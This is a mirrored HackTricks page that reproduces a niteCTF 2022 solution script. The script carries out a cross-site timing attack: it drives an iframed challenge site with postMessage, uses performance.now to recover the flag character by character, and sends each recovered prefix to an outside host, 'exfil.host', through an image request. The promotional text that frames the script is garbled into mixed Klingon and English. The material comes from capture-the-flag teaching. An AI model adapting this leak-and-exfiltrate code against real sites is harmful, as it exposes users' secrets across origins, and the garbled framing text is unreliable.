mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
3.5 KiB
3.5 KiB
performance.now example
htARTE (HackTricks AWS Red Team Expert) tlhIngan Hol!
- **Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.
Example taken from https://ctf.zeyu2001.com/2022/nitectf-2022/js-api
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
async function check(flag) {
let w = frame.contentWindow;
w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
await sleep(1);
w.postMessage({'op': 'search', 'payload': flag}, '*');
let t1 = performance.now();
await sleep(1);
return (performance.now() - t1) > 200;
}
async function main() {
let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
window.frame = document.createElement('iframe');
frame.width = '100%';
frame.height = '700px';
frame.src = 'https://challenge.jsapi.tech/';
document.body.appendChild(frame);
await sleep(1000);
let flag = 'nite{';
while(1) {
for(let c of alpha) {
let result = await Promise.race([
check(flag + c),
new Promise((res) => setTimeout(() => { res(true); }, 300))
]);
console.log(flag + c, result);
if(result) {
flag += c;
break;
}
}
new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
}
}
document.addEventListener('DOMContentLoaded', main);
qaStaHvIS AWS hacking vItlhutlh htARTE (HackTricks AWS Red Team Expert)!
- qaStaHvIS cybersecurity company vIghaj? HackTricks company advertise vItlhutlh? PEASS latest version download HackTricks PDF vItlhutlh? SUBSCRIPTION PLANS chek!
- The PEASS Family ghItlh collection NFTs ghItlh
- official PEASS & HackTricks swag ghItlh
- Join the 💬 Discord group telegram group follow Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo hacktricks-cloud repo ghItlh.